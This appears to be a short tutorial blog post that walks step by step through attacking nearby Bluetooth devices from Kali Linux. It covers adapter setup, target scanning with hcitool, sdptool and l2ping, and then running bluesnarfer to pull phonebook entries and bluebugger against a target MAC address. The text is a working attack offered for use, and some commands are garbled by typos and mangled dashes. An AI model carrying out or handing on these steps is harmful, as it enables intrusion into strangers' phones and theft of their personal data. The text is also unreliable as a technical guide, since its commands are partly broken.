Let’s start the hack.
Step 1: Fire up your Kali Linux.
If you don’t have Kali Linux setup then you might need to follow this tutorial to fire up Kali Linux.
Step 2: First let’s configure Bluetooth Open terminal and type:
~#mkdir -p /dev/Bluetooth/rfcomm ~#mknod -m 666 /dev/Bluetooth/rfcomm/0 c 216 0
This is bluesnarfer don, now for bluebugger:
~#mknod –mode=666 /dev/rfcomm0 c 216 0
Step 3: and type the hciconfig to enable your Bluetooth Adapter
~#hciconfig hci0 up
Step 4: Scan for Bluetooth devices.
For this purpose you can use hcitool. This is a command line tool.
Now, let’s try the inq command in hcitool to get more information about these devices:
It also displays clock offset and the class. The class indicates what type of Bluetooth device it is.
You can see list of more option by typing hcitool.
Step 5: Scan for Services with sdptool.
~#sdptool browse <mac address>
or you can use this command also…
~#sdptools browse –tree –l2cap <target MAC>
If you ask me what this shows. I don’t know. But yes it shows you all the services and channels.
Service discovery protocol (SDP) is a Bluetooth protocol. And it helps you to search for services running on the device.
Step 6: Ping the device with L2ping command.
~#l2ping <mac address>
If you don’t get a ping then good luck.
Step 7: Hacking Start
And you will see its options. Now we have some options let’s type:
~#bluesnarfer [options] -C 7 -b <target MAC>
~#bluesnarfer –r 1-100 –C –b <mac address>
Now for bluebugger Type:
~#bluebugger –h ~# bluebugger [OPTIONS] -c 7 -a <target MAC> [MODE]
Again, you’ll see some results. And if you are getting any error type
~#hciconfig hci0 down ~#hciconfig hci0 reset ~#hciconfig hci0 up